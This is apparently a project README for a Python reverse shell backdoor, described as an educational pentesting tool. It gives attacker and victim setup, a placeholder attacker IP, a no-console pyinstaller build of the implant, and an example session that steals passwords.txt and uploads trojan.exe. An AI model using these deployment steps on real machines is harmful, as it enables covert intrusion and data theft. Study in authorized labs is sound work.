🛠️ Backdoor Connection Using Python

A lightweight reverse shell/backdoor built in Python for educational and authorized penetration testing purposes. It allows remote command execution, file transfer, and even capturing screenshots from a target machine.

⚠️ Disclaimer: This tool is created for educational and ethical use only. Use it only on systems you have explicit permission to test.

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📌 Features

• ✅ Remote shell access
• ✅ Upload & download files
• ✅ Change directories
• ✅ Take screenshots remotely
• ✅ Cross-platform (Windows/Linux/macOS)
• ✅ Lightweight & easy to customize

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📁 Project Structure

📦Backdoor-Connection-Using-Python
 ┣ 📜backdoor.py   # Script to be executed on the target machine
 ┣ 📜server.py     # Script run by the attacker to control the target
 ┗ 📜README.md     # Project documentation

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⚙️ Requirements

• Python 3.x
• Pillow (for screenshots)

Install dependencies:

pip install pillow

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🚀 Usage

1. Configure IP and Port

Update the following in both server.py and backdoor.py:

SERVER_IP = "YOUR.ATTACKER.IP"
SERVER_PORT = 4444

2. Run the Server (Attacker)

python3 server.py

Wait for the incoming connection.

3. Deploy the Backdoor (Victim)

python3 backdoor.py

Optionally, compile backdoor.py into an executable using pyinstaller:

pip install pyinstaller
pyinstaller --noconsole --onefile backdoor.py

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💻 Available Commands

Once connected, use the following commands from the attacker's terminal:

Command	Description
cd <path>	Change directory on the victim's system
download <file>	Download file from victim to attacker
upload <file>	Upload file from attacker to victim
screenshot	Capture and save screenshot
clear	Clear the screen
quit	Close the connection

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🧪 Example Session

> cd Desktop
> download passwords.txt
> upload trojan.exe
> screenshot
> quit

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📷 Screenshot Example

Sample screenshot captured from target

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🧠 Learning Outcomes

• Python socket programming
• Remote shell and command execution
• File transmission over TCP
• Screenshot capture using Pillow
• Real-world ethical hacking tools

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📜 License

This project is licensed under the MIT License.

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🙋‍♂️ Author

Aryan Srivastava
GitHub Profile »

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